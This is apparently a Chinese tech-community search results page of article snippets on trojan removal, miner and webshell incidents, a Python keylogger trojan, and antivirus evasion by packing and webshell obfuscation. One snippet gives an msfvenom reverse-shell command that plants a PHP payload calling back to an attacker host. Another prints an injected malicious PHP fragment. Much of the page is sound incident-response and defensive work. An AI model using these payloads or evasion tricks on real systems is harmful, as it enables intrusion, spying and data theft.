首页
学习
活动
专区
工具
TVP
发布

木马手工查杀和隐藏控制技术分析

使用木马感染靶机后,靶机并无明显异常 开启windows任务管理器,并无明显中毒特征,cpu使用率和内存占用率并无明显异常。 ? 使用netstat/an命令查看系统端口连接,无明显异常 ?...感染木马后并没有立即在服务项中发现异常 ? 查看网络连接,测试后发现如果木马控制端不进行耗费流量的操作,木马也很难发现 ?...打开COMODO ids入侵检测系统,发现可以检测出木马的操作。 ? step3.360安全卫士的检测 关闭靶机comodo防火墙,打开360安全卫士。在木马控制端开启靶机摄像头,提示如下图。...我想如果改变加壳方式或是添加花指令当木马静止时应该可以躲避安全软件的行为查杀,如果采用进程注入方式将自身注入到一个受信的进程中应该可以部分躲避行为查杀。...在此感想,制作一个合格的木马对黑客的综合技术要求非常高,无论是注册表/服务/网路通信/行为免杀/加壳等等技术都要求精通,如果一方面做的不好则木马就会暴露。

1.7K20
您找到你想要的搜索结果了吗?
是的
没有找到

利用驱动人生升级通道传播的木马手工查杀

一、 背景介绍 驱动人生木马在1月24日的基础上再次更新,将攻击组件安装为计划任务、服务并启动。本次手工查杀主要针对该木马。...相关文章:https://www.freebuf.com/column/195250.html 最近在应急过程中,某单位电脑感染了更新后的驱动人生木马,由于客观原因,不能安装杀毒软件进行查杀,便进行手工杀毒...,整个过程真心感觉该病毒具有“春风吹又生”的特质,于是将查杀过程记录下来,希望能给小伙伴们带来帮助。...2.2查杀病毒 1、使用命令,关闭自动关机。 ? 2、使用TCPview 查看异常进程: ? 异常进程的PID为14600,在Process Explorer中找到该PID对应的进程并结束。 ?...三、 总结 本次手工查杀病毒过程如下: 1、使用TCPView查看异常外连行为对应的PID. 2、在Process Exploer中,找到PID对应的进程程序所在位置并关闭该进程。

1.6K10

网站被跳转到恶意博彩网的木马查杀过程

通过服务器的SINESAFE木马查杀工具,查杀出多个变形的webshell,以及隐藏属性无法删除的木马文件,本地扫描两个上传文件,火绒均报毒。 我这才明白过来,原来是我网站被黑了。...赶紧打开服务器里的各个站点,下载网站程序代码到本地,然后挨个对每一个代码进行查看,查看是不是网站被黑客植入了木马后门,果不其然在每个网站根目录里的conn.php发现了黑客插入的恶意代码: functiongo_bots_url...=-1){init_flag="apk"; 去除掉恶意代码后,网站从百度搜索点击进来的也正常显示了,真是太无耻了,在服务器中查看隐藏属性的文件普通肉眼是看不到的,需要用专门的SINESAFE木马查杀工具才能看到

1.1K20

一个Linux平台的门罗币挖矿木马查杀与分析

本文记录处理该事件的关键过程以及对该挖矿木马核心代码进行的分析,方便做事件响应的同行们碰到同家族类型木马后可以快速查杀,定性威胁事件。...0x01 木马行为与查杀过程 主要行为 木马以r88.sh作为downloader首先控制服务器,通过判断当前账户的权限是否为root来进行下一步的操作,若为root则在目录/var/spool/cron...** 木马整体编写逻辑 该木马使用Linux系统的shell脚本编写Downloader,使用curl与wget命令发起网络请求下载木马的其他组件,虽然代码可被轻易分析,但是编写成本和门槛降低,这也是当前恶意代码使用脚本语言编写的一个趋势...该项目在:https://github.com/xmrig/xmrig 0x03 总结 该挖矿木马并没有使用很多高级的防查杀技术,也没有广泛传播的蠕虫属性,仅仅使用定时任务来实现简单的进程保护,通过无差别攻击进行...关于挖矿木马如何防范与其他恶意代码以及入侵事件如何防范一样,实际上均是老生常谈的话题,最重要的一点还是企业需要正视网络安全的重要性,及时对系统以及应用打补丁,定期组织安全人员进行服务器的维护,提高企业员工的安全意识等等

2.3K40

如何使用Python编写简易木马程序

这次我们使用Python编写一个具有键盘记录、截屏以及通信功能的简易木马。依然选用Sublime text2 +JEDI(python自动补全插件)来撸代码。...win32gui.DeleteObject(screenshot.GetHandle())123456789101112131415161718192021222324252627282930313233343536 看看效果如何...0x03 综合运用:完成一个简易木马 无论是keylogger记录下的内容,还是screenshotter截获的图片,只存在客户端是没有太大意义的,我们需要构建一个简单server和client端来进行通信...服务端接收到客户端的请求并作出响应: 0x04 结语 最后,你需要做的就是把上面三个模块结合起来,一个简易的具有键盘记录、屏幕截图并可以发送内容到我们服务端的木马就完成了。...可以使用py2exe把脚本生成exe可执行文件。当然你还可以继续发挥,加上远程控制功能。

2.8K21

使用反弹木马进行提权

SuperSecretPassword登录后台 接下来利用WordPress进行提权操作,基本上提权的方式有三种: 1.将一句话写到一个文件夹下并压缩成.zip格式上传 2.找到能编辑的php文件,将一句话写进去,然后使用菜刀来连接该一句话木马...3.通过php shell反弹木马并结合Meterpreter实现反弹连接 这里我们尝试以读写的方式生成一个shell.php文件。...然后使用windows里的中国菜刀来连接木马的地址 利用msf生成一个php格式的反弹木马脚本 msfvenom -p php/meterpreter/reverse_tcp LHOST=172.16.1.100...LPORT=886 -f raw > shell.php 打开msfconsole控制台 先不着急运行模块,先将木马源码复制出来上传到靶机,替换掉服务器的404.php页面内容,再次访问http://...172.16.5.7:8080/wordpress/404.php来触发php反弹木马

62720

【思路分享】如何在Win下查杀Linux恶意文件

在对linux系统应急处理时,常需要查杀系统中是否存在恶意文件,但纯手工检查的话,难免会有遗漏,虽然在linux系统中也有一些专门门的查杀工具,但终究维护的人少,效果也不是非常明显,但如果先使用windows...平台下的杀毒软件,去查杀linux文件的话,那效果是会强上一个等级,下面我们就来介绍下如何在windows下查杀linux系统文件的方法,提供一种思路: 1.linux开启nfs,共享 ‘/ ‘ 或...umount C:>umount 用法: umount [-f] eg:取消挂载z盘: C:>umount H: 三、使用杀软件进行查杀...当我们在windows系统中成功挂载了linux系统中要检测的文件之后,可以使用在windows平台下常用的检测软件来对目标进行检测。...通过实际对win下常用的几个检测webshell软件进行了实例测试,发现D盾web查杀是其中检测效果比较好的一款软件,查杀率高达63%,评分5星(大家如果有更好的查杀软件,欢迎推荐)。

1.5K80

Webshell免杀研究

进行查杀,那么要想使用Webshell进行远控就需要实现免杀,以此来躲避木马查杀工具的检查。...免杀技巧 木马程序可以使用多种编程语言来设计,不同的编程语言有不同特性以及提供的系统函数,所以在实现免杀时可以首先考虑灵活运用语言的特性来实现免杀,其次可以根据查杀软件的查杀规则来重构木马程序,躲避木马查杀工具的查杀...之后使用菜刀进行连接 ? 二维数组 在免杀时我们可以考虑见要执行的一句话木马程序放到数组中执行达到绕过的目的,例如: ? 之后我们使用D盾进行查杀————成功免杀 ?...之后使用D盾进行查杀————成功免杀 ? 之后使用安全狗查杀————成功免杀 ? 之后使用护卫神查杀————成功免杀 ?...PS:因为木马程序源代码中含有很多敏感的操作,而且有很多容易被查杀到的关键词,所以后续的免杀都是在加密处理的基础上进行的分析与研究 之后我们使用D盾先来一波查杀看看: ?

3.5K30

工具的使用 | Msfvenonm生成木马

目录 Msfvenom 生成exe木马 在前一篇文章中我讲了什么是Meterpreter,并且讲解了Meterpreter的用法。...传送门——>Metasploit之Meterpreter 今天我要讲的是我们用Msfvenom制作一个木马,发送给其他主机,只要其他主机运行了该木马,就会自动连接到我们的主机,并且建立一条TCP连接。...· –b:避免使用的字符 例如:不使用 ‘\0f’。 · –i:编码次数。...,无论使用什么手段(可以使用社会工程学)让其在其他主机上运行,我们这边就会接收到反弹过来的session。...如图,我们成功拿到了其他主机的shell 对于这个木马,如果我们在获取到某主机的shell后,想要在目标主机建立持续性的后门,我们可以将该木马放到目标主机的开机启动项中,那样,只要该主机启动后,我们就可以连接到该主机了

1.3K10

加壳工具的使用

加壳工具的使用 0x01 前言 0x01 加壳简介 0x02 ASPack加壳 0x03 PE-Armor加壳 0x01 前言 这是我对加壳工具的使用的学习记录。...0x02 ASPack加壳 1.在被控制端,安装瑞星杀毒软件,使用瑞星查杀冰河木马、灰鸽子木马、msf生成的木马和Rootkit生成的木马,能够看到灰鸽子木马、msf生成的木马查杀。...2.在控制端安装ASPack加壳软件,对这四个木马进行加壳,加壳后会生成备份的。 3.将加壳的木马共享给被控制端,控制端再使用瑞星查杀,发现两个木马查杀,有两个未检测出来。...2.用PE-Armor给四个木马进行加壳。 3.将加壳后的木马种植在被控制端计算机中,使用瑞星查杀,发现有一个被查杀,三个隐藏起来了。

2K20

签名免杀的正确姿势

四种签名方式: 没有签名 sigthief签名窃取 无效的签名 有效的签名 及两个方面的测试: VT查杀测试 空包测试:没有什么内容的代码 简单木马测试:最简单的shellcode加载器并且没有做任何加密...更复杂木马测试:shellcode加密,使用HTTP回调加载器 杀软测试:包括火绒、360、defender、卡巴 截图比较多,可以直接划至末尾看总结。...有效的签名 签名时加上时间截服务器: 签名后时间截上会显示签名时间: vs 默认编译器v143: 二 简单木马测试 这里使用最简单的加载器并且没有做任何加密进行测试: 1....三 更复杂木马测试 shellcode加密,使用HTTP回调加载器: 1....2 3 2 2 空包时intel C++编译器可以做到VT0查杀,也就是说如果代码层面免杀做得足够好的话,使用intel C++编译器就可以做得VT0查杀

48140
领券